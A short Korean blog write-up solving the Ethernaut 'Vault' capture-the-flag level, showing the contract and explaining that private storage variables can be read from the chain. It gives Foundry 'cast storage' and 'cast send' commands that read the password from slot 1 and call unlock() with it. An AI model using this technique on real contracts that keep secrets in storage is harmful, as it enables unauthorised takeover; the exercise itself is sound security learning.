[ethernaut] Vault

wooz3k.eth·2022년 12월 27일
0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

이 문제는 블록체인에 투명성을 보여주는 문제이다. private로 선언된 변수도 블록에 기록이 되는데 블록체인 특성상 이 값을 읽을 수 있다.

변수를 선언하면 storage에 순서대로 슬롯이 할당 되는데 이 문제 같은 경우는 locked는 슬롯 0번, password는 슬롯 1번에 저장된다.

cast storage --rpc-url $G_RPC 0x4958fe2BBB87a9Fc0ADCA359BC263Ca281DB072E 1

foundry 명령어로 storage 슬롯을 지정하여 password를 얻을 수 있다.

cast send --rpc-url $G_RPC --private-key $P_KEY 0x4958fe2BBB87a9Fc0ADCA359BC263Ca281DB072E "unlock(bytes32)" 0x412076657279207374726f6e67207365637265742070617373776f7264203a29
profile
Theori ChainLight Web3 Researcher

0개의 댓글